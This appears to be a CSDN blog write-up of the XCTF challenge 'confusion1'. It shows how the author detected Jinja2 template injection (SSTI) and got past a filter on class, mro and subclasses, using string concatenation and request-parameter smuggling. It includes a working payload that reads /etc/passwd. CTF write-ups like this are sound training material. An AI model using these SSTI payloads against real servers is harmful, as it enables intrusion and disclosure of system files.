攻防世界----confusion1

知识点1:如何确定存在SSTI注入

知识点2:有些关键字被禁了,如何绕过

一.如何确定存在SSTI

 

 根据网站图片和题目描述的提示,大象是php,蟒蛇是python,说明了这个网站是用python写的

在python中,比较常规的漏洞就是SSTI模板注入

尝试验证漏洞

 

很明显,是存在漏洞的 

同时,也存在过滤关键字段 

二.SSTI绕过

参考链接:

SSTI模板注入绕过(进阶篇)_yu22x的博客-CSDN博客_ssti绕过

SSTI模板注入及绕过姿势(基于Python-Jinja2)_Y4tacker的博客-CSDN博客_ssti绕过

经过一系列参数的提交,发现过滤了这些字段

class,mro,subclasses

方法1

通过拼接字符串即

.__class__ -> ["__c""lass__"]
.->[]     __class__ -> "__c""lass__"

需要注意的是,代表函数的()需要放在[]外面 

方法2

通过传递参数绕过

GET方式

{{''.__class__}} => {{''[request.args.t1]}}?t1=__class__

 

POST方式:需要分成两步走

{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}

接着给这个页面发一个post的请求包

class=__class__&mro=__mro__&subclasses=__subclasses__

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jjj34

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值